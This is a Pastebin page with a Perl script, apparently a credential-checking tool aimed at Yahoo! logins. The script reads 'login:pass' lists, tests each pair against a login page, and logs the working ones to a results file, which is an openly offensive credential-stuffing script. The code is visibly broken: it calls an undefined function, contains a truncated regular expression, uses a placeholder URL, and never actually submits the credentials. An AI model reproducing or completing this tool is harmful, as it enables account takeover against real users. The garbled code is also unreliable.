Advertisement
Guest User

Untitled

a guest
Jul 2nd, 2017
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.71 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #Yahoo! LOGIN SPECS
  4.  
  5. #USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot]
  6.  
  7. #PASSWORD: 6-32 characters, no spaces
  8.  
  9.  
  10.  
  11. use HTTP::Cookies;
  12.  
  13. $myCookies = HTTP::Cookies->new();
  14.  
  15. use LWP::UserAgent;
  16.  
  17. my $ua = LWP::UserAgent->new;
  18.  
  19. $ua->cookie_jar($myCookies);
  20.  
  21. $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
  22.  
  23. push @{$ua->requests_redirectable}, 'POST';
  24.  
  25.  
  26.  
  27.  
  28.  
  29. sub usage{
  30.  
  31. print "[-] yahoo.pl <logins> (login:pass format) <results>\n";
  32.  
  33. die("[!] Incorrect usage\n");
  34.  
  35. }
  36.  
  37.  
  38.  
  39. sub weblogin($$){
  40.  
  41. my $username = $_[0];
  42.  
  43. my $password = $_[1];
  44.  
  45. my $url = "ur website´s login page";
  46.  
  47. my $login = $ua->get($url);
  48.  
  49. die("[!] falied\n") unless ($login->is_success);
  50.  
  51. if($login->content =~ m/<strong>Invalid ID or password.<\/strong><br> Please try again.<\/div>/){
  52.  
  53. return 0;
  54.  
  55. }
  56.  
  57. elsif($login->content =~ m/<body>\nIf you are seeing this page, your browser settings prevent you \nfrom automatically redirecting to a new URL./){
  58.  
  59. return 1;
  60.  
  61. }
  62.  
  63. elsif($login->content =~ m/Unable to/){
  64.  
  65. die("[!] attack falied!\n");
  66.  
  67. }
  68.  
  69. }
  70.  
  71.  
  72.  
  73. if(@ARGV!= 2){
  74.  
  75. &usage;
  76.  
  77. }
  78.  
  79. else{
  80.  
  81. my $loginlist = $ARGV[0];
  82.  
  83. my $resultlist = $ARGV[1];
  84.  
  85. open("xfile", $loginlist) || die "Couldn't open $loginlist\n";
  86.  
  87. while(my $line = <xfile>){
  88.  
  89. chomp($line);
  90.  
  91. if($line =~ m/[a-z0-9\){
  92.  
  93. my @details = split(/:/,$line);
  94.  
  95. print "[-] Checking $details[0] : $details[1]\t";
  96.  
  97. if(yahoo($details[0],$details[1])){
  98.  
  99. print "Success\n";
  100.  
  101. open(LOG,">>$resultlist") || die "Couldn't open $resultlist\n";
  102.  
  103. print LOG "$details[0]:$details[1]\n";
  104.  
  105. close(LOG);
  106.  
  107. }
  108.  
  109. else{
  110.  
  111. print "Failure\n";
  112.  
  113. }
  114.  
  115. }
  116.  
  117. }
  118.  
  119. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement